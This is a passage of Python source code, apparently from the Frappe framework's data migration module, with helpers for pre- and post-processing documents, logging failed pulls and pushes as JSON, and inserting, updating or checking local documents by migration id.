local_doc=local_doc) except Exception as e: # failed, append to log self.update_log('pull_failed', {migration_id_value: cstr(e)}) if len(data) < mapping.page_length: # last page, done with pull return True def pre_process_doc(self, doc): plan = self.get_plan() doc = plan.pre_process_doc(self.current_mapping, doc) return doc def post_process_doc(self, local_doc=None, remote_doc=None): plan = self.get_plan() doc = plan.post_process_doc(self.current_mapping, local_doc=local_doc, remote_doc=remote_doc) return doc def set_log(self, key, value): value = json.dumps(value) if '_failed' in key else value self.db_set(key, value) def update_log(self, key, value=None): ''' Helper for updating logs, push_failed and pull_failed are stored as json, other keys are stored as int ''' if '_failed' in key: # json self.set_log(key, self.get_log(key, []) + [value]) else: # int self.set_log(key, self.get_log(key, 0) + (value or 1)) def get_log(self, key, default=None): value = self.db_get(key) if '_failed' in key: if not value: value = json.dumps(default) value = json.loads(value) return value or default def insert_local_doc(mapping, doc): try: # insert new doc if not doc.doctype: doc.doctype = mapping.local_doctype doc = frappe.get_doc(doc).insert() return doc except Exception: print('Data Migration Run failed: Error in Pull insert') print(frappe.get_traceback()) return None def update_local_doc(mapping, remote_doc, migration_id_value): try: # migration id value is set in migration_id_field in mapping.local_doctype docname = frappe.db.get_value(mapping.local_doctype, filters={ mapping.migration_id_field: migration_id_value }) doc = frappe.get_doc(mapping.local_doctype, docname) doc.update(remote_doc) doc.save() return doc except Exception: print('Data Migration Run failed: Error in Pull update') print(frappe.get_traceback()) return None def local_doc_exists(mapping, migration_id_value): return frappe.db.exists(mapping.local_doctype, { mapping.migration_id_field: migration_id_value })